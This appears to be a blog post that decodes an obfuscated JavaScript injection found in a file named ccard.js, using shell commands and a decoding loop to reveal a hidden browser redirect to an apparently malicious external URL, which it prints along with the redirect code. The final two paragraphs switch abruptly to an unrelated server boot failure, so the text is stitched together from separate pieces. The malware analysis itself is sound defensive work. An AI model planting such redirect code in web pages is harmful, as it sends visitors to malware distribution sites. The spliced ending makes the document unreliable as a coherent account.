Notice anything? Yep, the third and fourth line look awfully strange. Eerily strange even. What should be obvious is that nothing is obvious, except that there is probably some JavaScript obfuscation going on. JavaScript obfuscation is used regularly by bad guys trying to evade malware and exploit detection by IDS/IPS and such, or even by supposedly “good” guys that are like “don’t steal my code, dude!!!1″. While obfuscation by compressing JavaScript (removing unnecessary spaces and newlines for faster load/browser execution) is understandable, I find the latter rather questionable, but whatever.
For some fun JavaScript obfuscation samples check out jjencode and aaencode by Yosuke Hasegawa.
At least in this example the obfuscated part appears very out of place, so it’s safe to assume these lines were injected with some malicious intent. Virustotal also shows that that McAfee and TrendMicro detect the file as malicious with some heuristic BehavesLike.JS.ExploitBlacole.mx and HEUR_HTJS.HDJSFN signatures respectively.
So let’s get down to decoding it:
The “\x◯◯” sequences are just escaped ASCII characters, which can be easily decoded from our shell with echo -e:
$ echo -e "$(cat ccard.js)"

Not very helpful yet, the ASCII escape-encoded hexadecimal sequences were just used to unnecessarily encode a bunch of comma-separated decimal numbers. This and the following String.fromCharCode function make it obvious that these numbers are also just decimal representations of encoded unicode characters.
So to decode both layers and combine it with the already readable parts, I wrote the following snippet of shell code (I’m sure it can be improved by miles, please bear with me):
file="/tmp/ccard.js"
cat $file | while read -r line
do
echo $line | if grep -Pq '(\\[^(\\|")]+)+'
then
echo -e "$line" | if grep -Pq '(\d+,)+'
then
echo -e "$line" | grep -Po '\d+' | while read line
do # decode decimal unicode code points
echo "\\x$(echo "obase=16; $line" | bc )" | tr -d '\n'
done | sed -re 's/\\/\\\\/g' | xargs echo -ne
else
echo -e "$line"
fi
else
echo "$line"
fi
done
This finally gives us some compressed, barely sense-making but “readable” obfuscated JavaScript:

At this stage we can use an online JavaScript beautifier tool that will take care of the last and most difficult obfuscation stage. The above JavaScript sequence actually translates into the following:

Of particular interest among all the junk should be this part, which instructs the browser open another page if we enter it in an online JavaScript evaluator tool:
var rndsite = ["http://www.perfektekleid.de/welcome.php"];
window.location.href = rndsite[Math.floor(Math.random() * rndsite.length)]
It can be suspected that this link was infected and used to distribute some actual malware/exploits, or directed the user to the next stage on the long digital road to misery. The link currently just redirects to the main page that appears to be clean though:

I reset the server several times via iLO but the issue persisted and I had no idea what exactly went bonkers here. Then I decided to boot a Linux live image, which worked fine, narrowing down the issue to the OS installation (device) itself. I thought the updates corrupted the installation but that actually wasn’t the case.
So the Illegal OpCode Red Screen of Death was probably the result of the server trying to force a boot from the local RAID array volume, which is a pure GPT VMFS5 volume without a proper boot partition.
